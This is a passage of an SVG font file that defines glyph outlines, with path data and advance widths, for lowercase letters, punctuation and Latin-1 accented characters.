<glyph unicode="k" horiz-adv-x="1163" d="M37 0l330 1556h301l-148 -694q-8 -41 -29 -117l-28 -102h4l453 475h344l-498 -504l285 -614h-336l-183 420l-120 -72l-74 -348h-301z" />
<glyph unicode="l" horiz-adv-x="608" d="M37 0l330 1556h301l-330 -1556h-301z" />
<glyph unicode="m" horiz-adv-x="1853" d="M37 0l237 1118h230l-21 -207h6q146 228 355 228q219 0 262 -228h6q68 110 160.5 169t197.5 59q136 0 207.5 -85t71.5 -237q0 -76 -23 -180l-133 -637h-301l138 653q16 68 16 119q0 123 -98 123q-92 0 -166.5 -112t-118.5 -318l-96 -465h-301l137 653q16 68 16 119 q0 123 -98 123q-92 0 -167 -114t-118 -318l-98 -463h-301z" />
<glyph unicode="n" horiz-adv-x="1237" d="M37 0l237 1118h230l-21 -207h6q146 228 355 228q138 0 213.5 -83.5t75.5 -238.5q0 -73 -23 -180l-133 -637h-301l137 653q16 68 16 119q0 123 -108 123q-92 0 -167 -114t-118 -318l-98 -463h-301z" />
<glyph unicode="o" horiz-adv-x="1198" d="M90 410q0 213 71.5 379.5t206.5 258t316 91.5q196 0 310 -118t114 -325q0 -211 -70.5 -374t-203.5 -252.5t-316 -89.5q-195 0 -311.5 117.5t-116.5 312.5zM393 410q0 -185 150 -185q75 0 135 61.5t93.5 171t33.5 238.5q0 197 -143 197q-75 0 -134.5 -61t-97 -179 t-37.5 -243z" />
<glyph unicode="p" horiz-adv-x="1219" d="M-68 -492l342 1610h230l-17 -170h9q138 191 317 191q146 0 230.5 -107.5t84.5 -300.5q0 -191 -68.5 -367.5t-187.5 -280t-262 -103.5q-83 0 -143 37t-111 126h-8q-12 -159 -43 -295l-72 -340h-301zM420 399q0 -80 37 -128t102 -48q67 0 128 69t98.5 189.5t37.5 237.5 q0 176 -131 176q-68 0 -131.5 -67.5t-102 -180t-38.5 -248.5z" />
<glyph unicode="q" horiz-adv-x="1217" d="M90 385q0 198 72 377.5t189 278t257 98.5q86 0 152.5 -37.5t124.5 -126.5h8l57 143h232l-342 -1610h-301q47 218 73 337.5t84 304.5h-8q-72 -94 -143 -132t-154 -38q-88 0 -156 47.5t-106.5 138.5t-38.5 219zM395 399q0 -88 36.5 -132t103.5 -44q64 0 127.5 70t100 181 t36.5 245q0 80 -37.5 128t-102.5 48q-68 0 -129.5 -72t-98 -190t-36.5 -234z" />
<glyph unicode="r" horiz-adv-x="862" d="M37 0l237 1118h230l-21 -207h6q147 228 353 228q59 0 96 -11l-66 -290q-45 16 -100 16q-116 0 -203.5 -91.5t-124.5 -262.5l-106 -500h-301z" />
<glyph unicode="s" horiz-adv-x="969" d="M23 45v248q157 -90 319 -90q80 0 131 32.5t51 88.5q0 43 -37 77t-131 86q-121 68 -169 135.5t-48 159.5q0 170 110.5 263.5t315.5 93.5q201 0 363 -95l-99 -215q-140 84 -258 84q-57 0 -92 -25.5t-35 -68.5q0 -39 32 -68.5t120 -74.5q123 -63 178 -137t55 -170 q0 -188 -124.5 -288.5t-346.5 -100.5q-107 0 -186.5 15t-148.5 50z" />
<glyph unicode="t" horiz-adv-x="840" d="M94 889l29 147l196 84l132 236h194l-49 -238h283l-50 -229h-282l-115 -539q-6 -30 -6 -53q0 -74 88 -74q65 0 162 35v-225q-111 -53 -266 -53q-150 0 -220.5 63t-70.5 195q0 50 12 112l115 539h-152z" />
<glyph unicode="u" horiz-adv-x="1237" d="M111 301q0 93 24 213l127 604h301l-137 -653q-16 -68 -16 -119q0 -123 108 -123q92 0 167 114t118 318l98 463h301l-237 -1118h-230l21 207h-6q-145 -227 -355 -227q-138 0 -211 82.5t-73 238.5z" />
<glyph unicode="v" horiz-adv-x="1049" d="M102 1118h295l45 -586q7 -133 7 -231h6q55 153 92 223l297 594h323l-604 -1118h-323z" />
<glyph unicode="w" horiz-adv-x="1614" d="M125 1118h281l4 -495l-4 -167l-7 -171h4q6 20 14 41.5t51 136.5t46 119l231 536h328v-536q0 -142 -10 -297h6l28 80q73 208 95 258l219 495h307l-530 -1118h-330l-6 520q0 155 10 340h-6q-62 -178 -123 -319l-233 -541h-324z" />
<glyph unicode="x" horiz-adv-x="1087" d="M-100 0l479 573l-225 545h321l115 -334l244 334h354l-467 -561l244 -557h-326l-125 342l-264 -342h-350z" />
<glyph unicode="y" horiz-adv-x="1063" d="M-141 -233q68 -13 116 -13q84 0 147.5 48t117.5 149l26 49l-164 1118h295l56 -518q14 -122 14 -293h6q20 51 44 119.5t65 153.5l260 538h327l-680 -1278q-177 -332 -483 -332q-90 0 -147 19v240z" />
<glyph unicode="z" horiz-adv-x="932" d="M-47 0l35 180l575 705h-397l51 233h750l-43 -200l-566 -685h439l-49 -233h-795z" />
<glyph unicode="{" horiz-adv-x="727" d="M-8 459l45 229q122 0 192.5 41.5t92.5 138.5l61 285q38 170 131 239.5t270 69.5h84l-49 -225q-90 -2 -130.5 -34.5t-55.5 -106.5l-66 -297q-45 -207 -276 -236v-8q85 -26 126.5 -82.5t41.5 -134.5q0 -44 -15 -113l-36 -178q-7 -28 -7 -51q0 -54 33.5 -74t91.5 -20v-226 h-53q-167 0 -253.5 63.5t-86.5 184.5q0 57 14 125l39 184q15 69 15 86q0 140 -209 140z" />
<glyph unicode="|" d="M455 -465v2015h219v-2015h-219z" />
<glyph unicode="}" horiz-adv-x="727" d="M-100 -98q93 3 137 35.5t59 105.5l66 297q25 111 95 166t181 69v9q-168 51 -168 217q0 43 15 112l37 179q6 30 6 51q0 54 -36.5 74t-109.5 20l41 225h33q340 0 340 -248q0 -56 -14 -124l-39 -185q-15 -69 -15 -86q0 -139 209 -139l-45 -229q-122 0 -192.5 -42t-91.5 -139 l-62 -284q-37 -170 -130.5 -240t-270.5 -70h-45v226z" />
<glyph unicode="~" d="M109 551v231q101 109 256 109q64 0 117 -14t139 -50q64 -27 111 -41t95 -14q51 0 112 30.5t122 90.5v-231q-103 -109 -256 -109q-59 0 -109 11.5t-147 51.5q-89 38 -127 47t-80 9q-54 0 -116.5 -33t-116.5 -88z" />
<glyph unicode="&#xa1;" horiz-adv-x="586" d="M-74 -371l256 977h242l-158 -977h-340zM195 924q0 85 54 139.5t144 54.5q73 0 114.5 -37t41.5 -104q0 -92 -55.5 -145.5t-149.5 -53.5q-68 0 -108.5 38t-40.5 108z" />
<glyph unicode="&#xa2;" d="M164 584q0 193 62.5 355t178 262.5t267.5 123.5l33 158h188l-35 -158q118 -14 225 -65l-92 -230q-53 23 -105 40t-118 17q-133 0 -216 -143t-83 -336q0 -96 45 -144t127 -48q75 0 140 23.5t134 58.5v-246q-136 -71 -299 -80l-41 -192h-188l49 210q-134 36 -203 136 t-69 258z" />
<glyph unicode="&#xa3;" d="M-12 0l49 246q196 48 244 264l22 104h-192l45 220h192l49 247q41 197 162 300.5t313 103.5q195 0 369 -86l-113 -232q-141 68 -237 68q-75 0 -123 -39.5t-68 -132.5l-47 -229h299l-45 -220h-299l-18 -84q-42 -195 -209 -270h655l-55 -260h-993z" />
<glyph unicode="&#xa4;" d="M115 1047l147 147l127 -127q91 53 197 53q105 0 196 -55l127 129l150 -143l-129 -129q53 -89 53 -199q0 -107 -53 -199l125 -125l-146 -145l-127 125q-95 -51 -196 -51q-115 0 -199 51l-125 -123l-145 145l127 125q-54 93 -54 197q0 102 54 197zM397 723 q0 -77 54.5 -132.5t134.5 -55.5q81 0 136.5 55t55.5 133q0 80 -56.5 135t-135.5 55q-78 0 -133.5 -56t-55.5 -134z" />
<glyph unicode="&#xa5;" d="M88 221l37 178h252l29 138h-252l39 178h196l-192 747h297l114 -590l371 590h311l-506 -747h203l-39 -178h-252l-28 -138h252l-37 -178h-252l-47 -221h-291l47 221h-252z" />
<glyph unicode="&#xa6;" d="M455 350h219v-815h-219v815zM455 735v815h219v-815h-219z" />
<glyph unicode="&#xa7;" horiz-adv-x="995" d="M20 55v224q172 -105 345 -105q99 0 144.5 35t45.5 92q0 39 -33 72.5t-127 79.5q-117 57 -181 131t-64 176q0 89 47.5 163t154.5 142q-42 34 -70 84.5t-28 107.5q0 149 117 234.5t313 85.5q172 0 344 -88l-82 -193q-147 84 -282 84q-144 0 -144 -106q0 -43 40.5 -76 t127.5 -72q242 -106 242 -303q0 -188 -193 -303q38 -35 64 -85.5t26 -108.5q0 -161 -126 -253.5t-345 -92.5q-204 0 -336 75zM393 797q0 -54 43.5 -96.5t143.5 -88.5q49 31 75.5 78.5t26.5 95.5q0 109 -176 181q-51 -25 -82 -70.5t-31 -99.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1135" d="M397 1382q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM799 1382q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M125 731q0 200 100 375t275 276t377 101q199 0 373.5 -99t276 -275.5t101.5 -377.5q0 -199 -98.5 -373t-272.5 -276t-380 -102q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM266 731q0 -164 81.5 -305t224 -223t305.5 -82q167 0 308 83t221.5 223.5t80.5 303.5 t-80.5 303.5t-222 223.5t-307.5 83q-164 0 -306.5 -82.5t-223.5 -223.5t-81 -304zM485 721q0 225 117.5 351t325.5 126q142 0 284 -72l-75 -174q-114 58 -205 58q-111 0 -163 -73t-52 -214q0 -134 55.5 -203t159.5 -69q43 0 108.5 15.5t124.5 43.5v-191q-131 -57 -262 -57 q-196 0 -307 122.5t-111 336.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="772" d="M152 1020q0 117 46 228t123 171t177 60q120 0 180 -103h6l39 90h154l-158 -702h-154l8 92h-2q-80 -104 -202 -104q-103 0 -160 70t-57 198zM356 1014q0 -111 86 -111q45 0 84 41.5t65.5 120t26.5 154.5q0 106 -88 106q-73 0 -123.5 -96t-50.5 -215z" />
<glyph unicode="&#xab;" horiz-adv-x="1151" d="M72 551v18l401 463l191 -155l-279 -334l135 -350l-246 -103zM559 551v18l402 463l190 -155l-279 -334l136 -350l-246 -103z" />
<glyph unicode="&#xac;" d="M109 612v219h952v-583h-219v364h-733z" />
<glyph unicode="&#xad;" horiz-adv-x="659" d="M41 424l53 250h524l-53 -250h-524z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M125 731q0 200 100 375t275 276t377 101q199 0 373.5 -99t276 -275.5t101.5 -377.5q0 -199 -98.5 -373t-272.5 -276t-380 -102q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM266 731q0 -164 81.5 -305t224 -223t305.5 -82q167 0 308 83t221.5 223.5t80.5 303.5 t-80.5 303.5t-222 223.5t-307.5 83q-164 0 -306.5 -82.5t-223.5 -223.5t-81 -304zM571 293v874h308q173 0 265.5 -67.5t92.5 -200.5q0 -86 -44 -149.5t-130 -96.5l197 -360h-254l-138 297h-67v-297h-230zM801 758h51q72 0 113 31t41 92q0 59 -35.5 88.5t-116.5 29.5h-53 v-241z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556l45 201h1036l-45 -201h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M164 1137q0 93 46.5 173.5t127.5 126.5t172 46q93 0 173.5 -47t126.5 -127t46 -172q0 -93 -46 -173t-126 -125.5t-174 -45.5q-93 0 -173 45t-126.5 125t-46.5 174zM354 1137q0 -63 45.5 -108.5t110.5 -45.5q66 0 111 46t45 108q0 63 -45.5 110t-110.5 47t-110.5 -47.5 t-45.5 -109.5z" />
<glyph unicode="&#xb1;" d="M109 0v219h952v-219h-952zM109 674v219h366v369h219v-369h367v-219h-367v-365h-219v365h-366z" />
<glyph unicode="&#xb2;" horiz-adv-x="776" d="M59 586l35 166l273 219q111 91 141 122t44.5 59t14.5 56q0 42 -25.5 62t-60.5 20q-86 0 -188 -82l-100 158q74 57 156 87t192 30q123 0 196.5 -63t73.5 -160q0 -70 -22 -123t-70 -103.5t-189 -152.5l-129 -95h347l-41 -200h-648z" />
<glyph unicode="&#xb3;" horiz-adv-x="776" d="M92 625v192q125 -72 254 -72q76 0 125 30.5t49 88.5q0 37 -26 62.5t-88 25.5h-127l34 160h90q84 0 132.5 28t48.5 85q0 40 -26 60t-71 20q-86 0 -188 -66l-82 150q142 92 313 92q130 0 206.5 -55.5t76.5 -155.5q0 -87 -51 -145.5t-166 -88.5v-4q154 -33 154 -176 q0 -131 -107 -209t-285 -78q-75 0 -145.5 15.5t-120.5 40.5z" />
<glyph unicode="&#xb4;" horiz-adv-x="1135" d="M483 1241v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xb5;" horiz-adv-x="1249" d="M-68 -492l342 1610h301l-135 -645q-16 -70 -16 -125q0 -60 31.5 -92.5t79.5 -32.5q90 0 162.5 106.5t117.5 319.5l98 469h301l-237 -1118h-229l18 176h-6q-117 -196 -266 -196q-51 0 -89.5 19.5t-58.5 47.5h-6q-8 -66 -21.5 -139t-82.5 -400h-304z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M147 1042q0 256 107.5 385t343.5 129h604v-1816h-162v1616h-166v-1616h-161v819q-62 -18 -146 -18q-216 0 -318 125t-102 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="584" d="M131 695q0 90 53.5 144t150.5 54q68 0 109 -38t41 -107q0 -87 -55 -141t-144 -54q-73 0 -114 37.5t-41 104.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M-207 -301q63 -23 125 -23q102 0 102 82q0 34 -31 56.5t-110 31.5l96 154h185l-39 -72q141 -49 141 -178q0 -116 -83 -179t-234 -63q-86 0 -152 23v168z" />
<glyph unicode="&#xb9;" horiz-adv-x="776" d="M129 1214l399 248h207l-186 -876h-246l84 397q24 109 55 207q-16 -15 -80 -60l-131 -81z" />
<glyph unicode="&#xba;" horiz-adv-x="754" d="M162 1038q0 197 104 319t277 122q129 0 197.5 -73.5t68.5 -211.5q0 -128 -48.5 -232.5t-132.5 -157t-196 -52.5q-134 0 -202 75t-68 211zM371 1026q0 -111 80 -111q63 0 105 85.5t42 207.5q0 107 -76 107q-64 0 -107.5 -89.5t-43.5 -199.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1151" d="M0 227l279 334l-136 350l246 103l203 -461v-18l-402 -463zM487 227l279 334l-135 350l246 103l202 -461v-18l-401 -463z" />
<glyph unicode="&#xbc;" horiz-adv-x="1804" d="M177 0l1087 1462h236l-1084 -1462h-239zM97 1214l399 248h207l-186 -876h-246l84 397q24 109 55 207q-16 -15 -80 -60l-131 -81zM844 152l31 174l475 557h260l-121 -563h119l-35 -168h-119l-32 -151h-238l33 151h-373zM1078 320h174l58 231l22 74q-13 -20 -43 -58 t-211 -247z" />
<glyph unicode="&#xbd;" horiz-adv-x="1804" d="M940 1l35 166l273 219q111 91 141 122t44.5 59t14.5 56q0 42 -25.5 62t-60.5 20q-86 0 -188 -82l-100 158q74 57 156 87t192 30q123 0 196.5 -63t73.5 -160q0 -70 -22 -123t-70 -103.5t-189 -152.5l-129 -95h347l-41 -200h-648zM97 1214l399 248h207l-186 -876h-246 l84 397q24 109 55 207q-16 -15 -80 -60l-131 -81zM177 0l1087 1462h236l-1084 -1462h-239z" />
<glyph unicode="&#xbe;" horiz-adv-x="1804" d="M310 0l1087 1462h236l-1084 -1462h-239zM905 152l31 174l475 557h260l-121 -563h119l-35 -168h-119l-32 -151h-238l33 151h-373zM1139 320h174l58 231l22 74q-13 -20 -43 -58t-211 -247zM133 625v192q125 -72 254 -72q76 0 125 30.5t49 88.5q0 37 -26 62.5t-88 25.5h-127 l34 160h90q84 0 132.5 28t48.5 85q0 40 -26 60t-71 20q-86 0 -188 -66l-82 150q142 92 313 92q130 0 206.5 -55.5t76.5 -155.5q0 -87 -51 -145.5t-166 -88.5v-4q154 -33 154 -176q0 -131 -107 -209t-285 -78q-75 0 -145.5 15.5t-120.5 40.5z" />
<glyph unicode="&#xbf;" horiz-adv-x="940" d="M-68 -59q0 82 28.5 148.5t83.5 124t189 146.5q93 62 128 106.5t51 106.5l8 33h258l-14 -78q-19 -105 -76.5 -180t-169.5 -151q-122 -83 -156.5 -126t-34.5 -98q0 -118 133 -118q50 0 106.5 16t201.5 84l92 -221q-221 -125 -445 -125q-177 0 -280 87.5t-103 244.5z M418 924q0 86 54.5 140t143.5 54q73 0 114.5 -37t41.5 -104q0 -92 -55.5 -145.5t-149.5 -53.5q-68 0 -108.5 38t-40.5 108z" />
<glyph unicode="&#xc0;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM539 1886v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM735 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xc2;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM426 1579v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xc3;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM448 1577q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5 t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xc4;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM516 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM918 1720q0 78 42 118t120 40 q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xc5;" horiz-adv-x="1286" d="M-123 0l766 1468h373l147 -1468h-297l-24 348h-473l-172 -348h-320zM494 608h333l-26 350q-10 131 -10 253v36q-44 -120 -109 -254zM585 1565q0 109 68.5 173t179.5 64q110 0 182 -65t72 -170q0 -107 -70 -173.5t-184 -66.5q-110 0 -179 63.5t-69 174.5zM737 1565 q0 -45 24 -71t72 -26q42 0 69.5 26t27.5 71t-27.5 70.5t-69.5 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1833" d="M-123 0l922 1462h1104l-54 -254h-512l-67 -321h477l-55 -254h-478l-79 -377h512l-54 -256h-817l74 348h-426l-219 -348h-328zM588 608h317l127 600h-80z" />
<glyph unicode="&#xc7;" horiz-adv-x="1253" d="M123 553q0 262 104 482.5t278 335t400 114.5q125 0 222 -22.5t208 -82.5l-118 -250q-106 59 -175 78t-137 19q-132 0 -237.5 -81t-169.5 -238.5t-64 -338.5q0 -167 68.5 -248t218.5 -81q146 0 338 77v-260q-199 -77 -400 -77q-254 0 -395 149.5t-141 423.5zM356 -301 q63 -23 125 -23q102 0 102 82q0 34 -31 56.5t-110 31.5l96 154h185l-39 -72q141 -49 141 -178q0 -116 -83 -179t-234 -63q-86 0 -152 23v168z" />
<glyph unicode="&#xc8;" horiz-adv-x="1110" d="M53 0l309 1462h818l-54 -254h-512l-67 -321h477l-55 -254h-477l-80 -377h512l-54 -256h-817zM480 1886v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1110" d="M53 0l309 1462h818l-54 -254h-512l-67 -321h477l-55 -254h-477l-80 -377h512l-54 -256h-817zM608 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xca;" horiz-adv-x="1110" d="M53 0l309 1462h818l-54 -254h-512l-67 -321h477l-55 -254h-477l-80 -377h512l-54 -256h-817zM368 1579v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xcb;" horiz-adv-x="1110" d="M53 0l309 1462h818l-54 -254h-512l-67 -321h477l-55 -254h-477l-80 -377h512l-54 -256h-817zM438 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM840 1720q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5 t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xcc;" horiz-adv-x="659" d="M53 0l312 1462h305l-312 -1462h-305zM241 1886v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="659" d="M53 0l312 1462h305l-312 -1462h-305zM414 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xce;" horiz-adv-x="659" d="M53 0l312 1462h305l-312 -1462h-305zM128 1579v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xcf;" horiz-adv-x="659" d="M53 0l312 1462h305l-312 -1462h-305zM222 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM624 1720q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xd0;" horiz-adv-x="1386" d="M37 596l55 254h139l131 612h396q270 0 417.5 -143t147.5 -410q0 -280 -98 -486.5t-283.5 -314.5t-437.5 -108h-451l125 596h-141zM412 256h106q148 0 258 76t172 223.5t62 337.5q0 154 -72.5 234.5t-208.5 80.5h-115l-75 -358h237l-55 -254h-238z" />
<glyph unicode="&#xd1;" horiz-adv-x="1546" d="M53 0l309 1462h357l340 -1077h4q12 76 39 217t180 860h274l-309 -1462h-342l-356 1106h-6l-4 -32q-32 -216 -66 -386l-145 -688h-275zM563 1577q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5 t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xd2;" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347zM627 1886v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5t-103.5 153.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347zM753 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xd4;" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347zM499 1579v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xd5;" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347zM520 1577q59 309 281 309q49 0 87.5 -16.5t71.5 -36t62 -35.5t60 -16q34 0 58 25.5t46 80.5h172q-66 -309 -287 -309q-49 0 -86.5 16.5t-69.5 36t-61.5 36t-62.5 16.5q-31 0 -55.5 -28t-38.5 -79h-177z" />
<glyph unicode="&#xd6;" horiz-adv-x="1495" d="M123 537q0 265 99 487.5t273 341.5t402 119q255 0 395 -144t140 -403q0 -283 -99 -506.5t-271 -337.5t-396 -114q-256 0 -399.5 147.5t-143.5 409.5zM434 537q0 -147 66.5 -222t187.5 -75t220.5 87t155.5 246t56 357q0 142 -65 219.5t-183 77.5q-121 0 -222 -91.5 t-158.5 -251.5t-57.5 -347zM585 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5t-121 -43.5q-135 0 -135 110zM987 1720q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xd7;" d="M129 1024l152 154l301 -299l305 299l153 -150l-305 -305l301 -303l-149 -152l-305 301l-301 -299l-150 152l297 301z" />
<glyph unicode="&#xd8;" horiz-adv-x="1495" d="M100 29l121 151q-98 138 -98 357q0 265 99 487.5t273 341.5t402 119q182 0 305 -76l105 131l151 -117l-117 -145q91 -134 91 -340q0 -283 -99 -506.5t-271 -337.5t-396 -114q-180 0 -304 71l-108 -137zM424 537q0 -32 8 -101l596 754q-69 43 -158 43q-126 0 -229 -91.5 t-160 -252.5t-57 -352zM539 270q59 -37 153 -37q124 0 226 89t158.5 247.5t56.5 360.5l-5 80z" />
<glyph unicode="&#xd9;" horiz-adv-x="1415" d="M141 401q0 72 15 138l196 923h305l-194 -919q-17 -74 -17 -125q0 -178 189 -178q123 0 195 76.5t104 228.5l194 917h306l-201 -946q-57 -266 -218 -401t-419 -135q-212 0 -333.5 113.5t-121.5 307.5zM576 1886v21h311q36 -148 115 -303v-25h-184q-71 69 -138.5 153.5 t-103.5 153.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1415" d="M141 401q0 72 15 138l196 923h305l-194 -919q-17 -74 -17 -125q0 -178 189 -178q123 0 195 76.5t104 228.5l194 917h306l-201 -946q-57 -266 -218 -401t-419 -135q-212 0 -333.5 113.5t-121.5 307.5zM757 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5 h-209z" />
<glyph unicode="&#xdb;" horiz-adv-x="1415" d="M141 401q0 72 15 138l196 923h305l-194 -919q-17 -74 -17 -125q0 -178 189 -178q123 0 195 76.5t104 228.5l194 917h306l-201 -946q-57 -266 -218 -401t-419 -135q-212 0 -333.5 113.5t-121.5 307.5zM475 1579v25q63 57 153 147t142 156h338q22 -54 74 -142.5t102 -160.5 v-25h-198q-63 53 -162 168q-105 -88 -232 -168h-217z" />
<glyph unicode="&#xdc;" horiz-adv-x="1415" d="M141 401q0 72 15 138l196 923h305l-194 -919q-17 -74 -17 -125q0 -178 189 -178q123 0 195 76.5t104 228.5l194 917h306l-201 -946q-57 -266 -218 -401t-419 -135q-212 0 -333.5 113.5t-121.5 307.5zM565 1720q0 78 42.5 118t119.5 40q133 0 133 -108q0 -73 -39 -116.5 t-121 -43.5q-135 0 -135 110zM967 1720q0 78 42 118t120 40q65 0 99 -28t34 -80q0 -73 -39.5 -116.5t-120.5 -43.5q-135 0 -135 110z" />
<glyph unicode="&#xdd;" horiz-adv-x="1155" d="M186 1462h312l129 -592l374 592h342l-618 -903l-119 -559h-303l119 559zM606 1579v25q79 88 222 303h335v-17q-46 -56 -154 -152.5t-194 -158.5h-209z" />
<glyph unicode="&#xde;" horiz-adv-x="1188" d="M53 0l309 1462h306l-50 -229h35q242 0 366 -106.5t124 -319.5q0 -243 -170.5 -378.5t-466.5 -135.5h-86l-62 -293h-305zM475 547h55q139 0 222.5 66.5t83.5 185.5q0 180 -195 180h-74z" />
<glyph unicode="&#xdf;" horiz-adv-x="1350" d="M-260 -225q61 -21 115 -21q133 0 170 178l254 1207q47 224 182 326t385 102q208 0 331 -90t123 -240q0 -114 -49 -192t-178 -152q-73 -42 -96 -68.5t-23 -54.5q0 -23 22 -49.5t79 -69.5q107 -83 144.5 -150.5t37.5 -150.5q0 -170 -123.5 -270t-337.5 -100q-187 0 -297 61 v240q128 -78 258 -78q101 0 148 33t47 86q0 40 -26.5 75t-108.5 97q-94 72 -129 130t-35 126q0 84 45 145t162 127q66 37 104.5 76t38.5 96q0 62 -39.5 98.5t-124.5 36.5q-96 0 -156 -51.5t-85 -171.5l-254 -1219q-43 -198 -147 -288.5t-277 -90.5q-90 0 -160 25v242z" />
